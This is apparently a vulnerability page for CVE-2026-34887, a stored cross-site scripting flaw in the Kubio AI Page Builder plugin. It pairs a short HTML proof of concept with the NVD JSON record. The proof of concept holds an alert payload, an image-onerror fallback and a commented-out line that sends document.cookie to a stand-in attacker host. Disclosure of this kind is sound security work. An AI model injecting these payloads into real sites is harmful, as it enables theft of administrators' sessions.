CVE-2026-34887

<!-- PoC for CVE-2026-34887 (Stored XSS in Kubio AI Page Builder) Description: Inject a malicious script into a vulnerable field (e.g., page title, block content). When an admin views the page, the script executes. --> <script> // Simulated payload to demonstrate XSS execution alert('CVE-2026-34887 XSS Executed'); // Example: Exfiltrate cookies // fetch('https://attacker.com/steal?c=' + document.cookie); </script> <!-- Alternatively, using an image tag if script tags are filtered --> <img src=x onerror=alert('XSS') />

{"cve": {"id": "CVE-2026-34887", "sourceIdentifier": "[email protected]", "published": "2026-03-31T11:16:13.523", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Extend Themes Kubio AI Page Builder allows Stored XSS.This issue affects Kubio AI Page Builder: from n/a through 2.7.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Extend Themes Kubio AI Page Builder permite XSS Almacenado. Este problema afecta a Kubio AI Page Builder: desde n/d hasta 2.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-7-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}